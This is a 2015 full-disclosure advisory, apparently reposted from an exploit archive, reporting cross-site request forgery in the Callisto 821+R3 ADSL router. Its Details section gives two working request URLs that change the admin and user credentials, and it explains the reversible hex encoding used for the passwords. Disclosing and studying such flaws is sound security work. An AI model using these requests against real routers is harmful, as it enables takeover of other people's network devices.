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Callisto 821+R3 Cross Site Request Forgery

Callisto 821+R3 Cross Site Request Forgery
Posted Oct 6, 2015
Authored by MustLive

Callisto 821+R3 suffers from multiple cross site request forgery vulnerabilities.

tags | exploit, vulnerability, csrf
MD5 | 1886110bc62f6fcfdcd0de0e2a09ce52

Callisto 821+R3 Cross Site Request Forgery

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Hello list!

After all my advisories about vulnerabilities in Callisto 821+
(http://seclists.org/fulldisclosure/2011/Aug/1) and recent advisory about
Callisto 821+R3, here is new one. Because vendor ignored in 2011 all my
letters and subsequent my public disclosure of vulnerabilities and new
devices are vulnerable as well, so I disclosed vulnerabilities in Callisto
821+R3 ADSL Router.

These are Cross-Site Request Forgery vulnerabilities. The whole control
panel is vulnerable to CSRF, here are two vulnerabilities.

SecurityVulns ID: 11700.

-------------------------
Affected products:
-------------------------

Vulnerable is the next model: Callisto 821+R3, Firmware Version: ZXDSL
831IIV7.5.1a_E09_UA. This model with other firmware and also other models of
Callisto also must be vulnerable.

----------
Details:
----------

Cross-Site Request Forgery (WASC-09):

For changing login and password of admin:

http://site/adminpasswd.cgi?action=save&sysUserName=admin&sysPassword=E696D64616

For changing login and password of user:

http://site/userpasswd.cgi?action=save&usrUserName=user&usrPassword=27563757

Parameters sysPassword and usrPassword contain encrypted password. The
cipher is simple - this is hex values of chars in reverse order.

I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/7975/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

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